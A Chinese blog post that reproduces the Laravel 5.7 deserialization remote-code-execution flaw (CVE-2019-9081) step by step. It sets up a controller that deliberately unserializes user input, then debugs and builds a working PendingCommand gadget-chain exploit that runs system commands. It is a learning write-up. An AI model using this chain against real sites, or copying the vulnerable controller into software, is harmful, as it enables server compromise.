0x00 项目安装
使用composer部署Laravel项目,创建一个名为laravel的Laravel项目
composer create-project laravel/laravel=5.7.* --prefer-dist ./
Laravel框架入口文件为{安装目录}/public/index.php,使用apache部署后访问入口文件显示Laravel欢迎界面即安装成功。
或者使用命令php artisan serve开启临时的开发环境的服务器进行访问。
0x01 调试环境配置
环境:PHPstudy + vscode
PHPstudy
在网站处添加拓展 xdebug
,管理/PHP拓展/xdebug
。
然后在php.ini中有如下信息。
[Xdebug]
zend_extension=D:/tools/PHPstudy/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=Off
xdebug.trace_output_dir=D:/tools/PHPstudy/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.trace
xdebug.profiler_enable=Off
xdebug.profiler_output_dir=D:/tools/PHPstudy/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.profiler
xdebug.remote_enable=1
xdebug.remote_autostart = 1
xdebug.remote_host=localhost
xdebug.remote_port=9010
xdebug.remote_handler=dbgp
这里添加了一条信息,修改了两条信息。
添加了 xdebug.remote_autostart = 1
将 xdebug.remote_enable
修改为了1,调试端口 xdebug.remote_port
为了防止冲突修改为了9010。
vscode
vscode在拓展商店中安装PHP Debug
插件。
使用vscode打开项目文件夹,这里不能调试单个文件,必须要导入整个文件夹。
打开后点击左侧三角形运行按钮,选择 创建 launch.json 文件
,然后port修改为与php.ini中debug相同的port。
{
"version": "0.2.0",
"configurations": [
{
"name": "Listen for XDebug",
"type": "php",
"request": "launch",
"port": 9010
},
{
"name": "Launch currently open script",
"type": "php",
"request": "launch",
"program": "${file}",
"cwd": "${fileDirname}",
"port": 9010
}
]
}
完成后,打开debug界面选择 Listen for XDebug
,点击三角形,对要调试的代码打上断点,点击绿色的小三角形开始调试,打开网站,就可以开始愉快的调试了!
0x02 源码分析
准备
首先得准备一个反序列化的入口,在 routes/web.php
里面加一条路由
Route::get('/unserialize',"UnserializeController@unspoc");
然后在 app/Http/controllers
中添加一个控制器
<?php
namespace App\Http\Controllers;
class UnserializeController extends Controller
{
public function unspoc(){
if(isset($_GET['c'])){
unserialize($_GET['c']);
}else{
highlight_file(__FILE__);
}
return "unspoc";
}
}
这样访问 http://url/public/index.php/unserialize
就可以进行反序列化了。
分析
和laravel5.6相比,laravel5.7多了 PendingCommand.php
这个文件。漏洞也出现在这个文件的类 PendingCommand
中。
在 __destruct()
魔术方法中调用了函数 run()
,跟进看一下。
public function __destruct()
{
if ($this->hasExecuted) {
return;
}
$this->run();
}
函数 run()
上的注释写到,Execute the command,可以执行命令,而且下面有段代码 $this->app[Kernel::class]->call($this->command, $this->parameters)
,可以看到调用了 call
函数,猜测可能存在命令执行,前面的代码先不管,先试一下能不能直接执行命令。
/**
* Execute the command.
*
* @return int
*/
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}
return $exitCode;
}
第一个poc
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
protected $command;
protected $parameters;
public function __construct()
{
$this->command = 'system';
$this->parameters = 'dir';
}
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
发现报错 "Trying to get property 'expectedOutput' of non-object"
,在 PendingCommand.php
文件的196行发生了错误,错误发生在函数 createABufferedOutputMock()
中,这里的调用顺序是 run()->mockConsoleOutput()->createABufferedOutputMock()
。在这个地方下个断点,调试运行,发现 $this->test=null
,所以报错了。
private function createABufferedOutputMock()
{
$mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
->shouldAllowMockingProtectedMethods()
->shouldIgnoreMissing();
foreach ($this->test->expectedOutput as $i => $output) {
$mock->shouldReceive('doWrite')
->once()
->ordered()
->with($output, Mockery::any())
->andReturnUsing(function () use ($i) {
unset($this->test->expectedOutput[$i]);
});
}
return $mock;
}
这里给 $this->test
初始化一下,先看看哪有属性 expectedOutput
,发现存在于文件 Illuminate\Foundation\Testing\Concerns\InteractsWithConsole.php
中的 trait InteractsWithConsole
,由于 trait
不能实例化,所以只能想办法寻找 __get
方法。
这里用了 Illuminate\Auth\GenericUser
类里的 __get()
方法,而 $attributes
可控,除了上面 createABufferedOutputMock()
里调用了 $this->test->expectedOutput
以外,在 mockConsoleOutput()
中 也调用了 $this->test->expectedQuestions
,所以构造这两个参数就可以了。
public function __get($key)
{
return $this->attributes[$key];
}
第二个poc,在 PendingCommand.php
180行有了报错 "Call to a member function bind() on null"
。
<?php
namespace Illuminate\Foundation\Testing {
use Illuminate\Auth\GenericUser;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
public function __construct()
{
$this->command = 'system';
$this->parameters[] = 'dir';
$this->test = new GenericUser();
}
}
}
namespace Illuminate\Auth {
class GenericUser
{
protected $attributes;
public function __construct()
{
$this->attributes['expectedOutput'] = ['hello', 'So4ms'];
$this->attributes['expectedQuestions'] = ['hello', 'So4ms'];
}
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
报错发生在函数 mockConsoleOutput()
中,最后的 $this->app->bind
,在这下断点发现 $this->app=null
,
protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);
return $question[1];
});
}
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}
来看一下属性 $app
,注释说是 \Illuminate\Foundation\Application
类
/**
* The application instance.
*
* @var \Illuminate\Foundation\Application
*/
protected $app;
接着构造POC
<?php
namespace Illuminate\Foundation\Testing {
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct()
{
$this->command = 'system';
$this->parameters[] = 'dir';
$this->test = new GenericUser();
$this->app = new Application();
}
}
}
namespace Illuminate\Auth {
class GenericUser
{
protected $attributes;
public function __construct()
{
$this->attributes['expectedOutput'] = ['hello', 'So4ms'];
$this->attributes['expectedQuestions'] = ['hello', 'So4ms'];
}
}
}
namespace Illuminate\Foundation {
class Application
{
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
反序列化发现报错 Target [Illuminate\Contracts\Console\Kernel] is not instantiable.
。
前面的 mockConsoleOutput()
执行完成了没问题,我们从下面这开始看,这里的 Kernel::class
是一个常量,返回的是 Illuminate\Contracts\Console\Kernel
。
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
}
为了减少调试,我们把这句代码拆分成三句,都打下断点,发现在执行第二句的期间报错了。
try {
$a = Kernel::class;
$b = $this->app[$a];
$exitCode = $b->call($this->command, $this->parameters);
}
函数调用如下,offsetGet()->make()->resolve()
,到了 resolve()
函数后
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
// $concrete = class Closure()
// $abstract = "Illuminate\Contracts\Http\Kernel"
// We're ready to instantiate an instance of the concrete type registered for
// the binding. This will instantiate the types, as well as resolve any of
// its "nested" dependencies recursively until all have gotten resolved.
if ($this->isBuildable($concrete, $abstract)) {// return Ture
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
// If we defined any extenders for this type, we'll need to spin through them
// and apply them to the object being built. This allows for the extension
// of services, such as changing configuration or decorating the object.
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
// If the requested type is registered as a singleton we'll want to cache off
// the instances in "memory" so we can return it later without creating an
// entirely new instance of an object on each subsequent request for it.
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
$this->fireResolvingCallbacks($abstract, $object);
// Before returning, we will also set the resolved flag to "true" and pop off
// the parameter overrides for this build. After those two things are done
// we will be ready to return back the fully constructed class instance.
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
}
这里的一段代码,会判断 $this->instances[$abstract]
是否存在,而 $abstract
的值通过调试可以知道是 Illuminate\Contracts\Console\Kernel
,而且 $this->instances
也是可控的,也就是说我们可以控制函数返回我们想要的值,也就是上面拆分后的三句代码的 $b
的值。
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
先找一下调用的 call()
方法,在 Illuminate\Container\Container
中
public function call($callback, array $parameters = [], $defaultMethod = null)
{
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
那么就接着构造POC
<?php
namespace Illuminate\Foundation\Testing {
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct()
{
$this->command = 'system';
$this->parameters[] = 'dir';
$this->test = new GenericUser();
$this->app = new Application();
}
}
}
namespace Illuminate\Auth {
class GenericUser
{
protected $attributes;
public function __construct()
{
$this->attributes['expectedOutput'] = ['hello', 'So4ms'];
$this->attributes['expectedQuestions'] = ['hello', 'So4ms'];
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $bindings = [];
public function __construct()
{
$this->bindings['Illuminate\Contracts\Console\Kernel'] = 'Illuminate\Foundation\Application';
}
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
不出意外又报错了 "Illegal string offset 'concrete'"
,在 Illuminate\Container\Container
的707行,那么返回值就不是存在上面说的位置,而是调用了下面的 getConcrete()
函数,又去了键名为 concrete
的值
protected function getConcrete($abstract)
{
if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
return $concrete;
}
// If we don't have a registered resolver or concrete for the type, we'll just
// assume each type is a concrete name and will attempt to resolve it as is
// since the container should be able to resolve concretes automatically.
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
}
命令执行成功!
<?php
namespace Illuminate\Foundation\Testing {
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct()
{
$this->command = 'system';
$this->parameters[] = 'dir';
$this->test = new GenericUser();
$this->app = new Application();
}
}
}
namespace Illuminate\Auth {
class GenericUser
{
protected $attributes;
public function __construct()
{
$this->attributes['expectedOutput'] = ['hello', 'So4ms'];
$this->attributes['expectedQuestions'] = ['hello', 'So4ms'];
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $bindings = [];
public function __construct()
{
$this->bindings['Illuminate\Contracts\Console\Kernel']['concrete'] = 'Illuminate\Foundation\Application';
}
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
0x03 小结
虽然跟着大佬的博客成功复现分析了一遍,但是还是有不少代码和流程的细节不清楚,不过通过这次复现学习了PHP的代码调试,以及一次比较复杂的漏洞复现,再接再厉!
0x04 参考资料
laravel v5.7反序列化rce
laravelv5.7反序列化rce(CVE-2019-9081)
laravel5.7 反序列化漏洞复现
Comments | NOTHING